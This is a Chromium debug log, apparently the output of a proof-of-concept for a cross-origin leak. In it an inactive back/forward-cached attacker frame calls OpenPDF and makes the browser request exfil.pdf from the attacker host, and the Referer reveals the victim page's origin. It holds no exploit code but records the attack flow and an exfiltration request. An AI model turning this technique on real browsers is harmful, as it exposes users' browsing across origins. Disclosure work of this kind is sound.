[1978:1978:0528/231738.713486:ERROR:chrome/renderer/chrome_render_frame_observer.cc:278] [POC-RENDERER] BFCached attacker frame (http://a.test:18080/attacker.html) sending PluginHost::OpenPDF while inactive
[1823:1823:0528/231738.730243:ERROR:chrome/browser/plugins/plugin_observer.cc:59] [POC-BROWSER] PluginObserver::OpenPDF reached. caller_rfh_url=http://a.test:18080/attacker.html caller_rfh_IsActive=0 caller_rfh_lifecycle=3 web_contents_LastCommittedURL=http://b.test:18081/victim/secret-account/123
[1823:1823:0528/231738.730297:ERROR:chrome/browser/plugins/plugin_observer.cc:74] [POC-BROWSER] Download will be issued: target=http://a.test:18080/exfil.pdf referrer=http://b.test:18081/

========== CROSS-ORIGIN LEAK CAPTURED ==========
  Attacker server (a.test:18080) received:
    GET /exfil.pdf
    Referer: http://b.test:18081/
  ^^^ Referer leaks the origin of the page the user
      navigated to AFTER leaving the attacker page.
================================================